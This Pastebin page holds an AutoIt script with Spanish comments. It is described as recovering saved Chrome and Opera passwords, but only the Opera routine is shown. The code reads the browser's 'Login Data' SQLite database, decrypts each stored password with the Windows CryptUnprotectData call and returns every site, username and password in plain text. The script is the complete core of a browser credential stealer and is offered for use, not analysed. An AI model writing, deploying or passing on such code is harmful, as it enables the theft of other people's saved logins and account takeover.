Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #cs ----------------------------------------------------------------------------
- AutoIt Version: 3.3.8.1
- Author: Naker90 - 03/06/2015
- Script Function:
- Recupera las contraseñas guardadas en el navegador Chrome y Opera.
- Testeado en Windows 7 x64 con la ultima version de Opera.
- Ejemplo de retorno:
- Web: http://www.web.com
- User: Usuario
- Pass: Password
- ATENCIÓN
- Necesaria la libreria SQLite3.dll
- Saludos ;)
- #ce ----------------------------------------------------------------------------
- #include <SQLite.au3>
- #include <String.au3>
- Func OperaPasswordRecovery()
- Const $OS = @OSVersion
- Local $Keypath
- If $OS = 'WIN_XP' then
- $Keypath = 'C:\Documents and Settings\' & @UserName & '\Application Data\Opera\Opera\Login Data'
- Else
- $Keypath = 'C:\Users\' & @UserName & '\AppData\Roaming\Opera Software\Opera Stable\Login Data'
- EndIf
- _SQLite_Startup(@ScriptDir & '\sqlite3.dll')
- _SQLite_Open($Keypath, $SQLITE_OPEN_READWRITE)
- Local $Result, $Rows, $Columns
- Local $GetTables = _SQLite_GetTable(-1, 'select origin_url, username_value, password_value from logins;', $Result, $Rows, $Columns)
- If $Rows <> 0 then
- Local $Return
- For $i = 4 to UBound($Result) - 1
- Local $URL = $Result[$i]
- Local $User = $Result[$i + 1]
- Local $Pass = $Result[$i + 2]
- Local $PassSize = BinaryLen($Pass)
- Local $DataStruct = DllStructCreate('byte[' & $PassSize & ']')
- DllStructSetData($DataStruct, 1, $Pass)
- Local $DataInBolbStruct = DllStructCreate('dword cbData;ptr pbData')
- DllStructSetData($DataInBolbStruct, 1, $PassSize)
- DllStructSetData($DataInBolbStruct, 2, DllStructGetPtr($DataStruct))
- Local $DataOutBolbStruct = DllStructCreate('dword cbData;ptr pbData')
- Local $DllOpen = DllOpen('Crypt32.dll')
- Local $CryptUnprotectData = DllCall($DllOpen, 'bool', 'CryptUnprotectData', _
- 'struct*', $DataInBolbStruct, _
- 'ptr*', 0, _
- 'ptr', 0, _
- 'ptr', 0, _
- 'ptr', 0, _
- 'dword', 0, _
- 'struct*', $DataOutBolbStruct)
- If $CryptUnprotectData[0] = 0 then Return 0
- Local $PasswordStruct = DllStructCreate('byte[' & DllStructGetData($DataOutBolbStruct, 1) & ']', DllStructGetData($DataOutBolbStruct, 2))
- Local $Password = _HexToString(StringTrimLeft(DllStructGetData($PasswordStruct, 1), 2))
- $Return &= 'Web: ' & $URL & @CRLF & 'User: ' & $User & @CRLF & 'Pass: ' & $Password & @CRLF & @CRLF
- $i += 2
- Next
- Return $Return
- Else
- Return 0
- EndIf
- EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement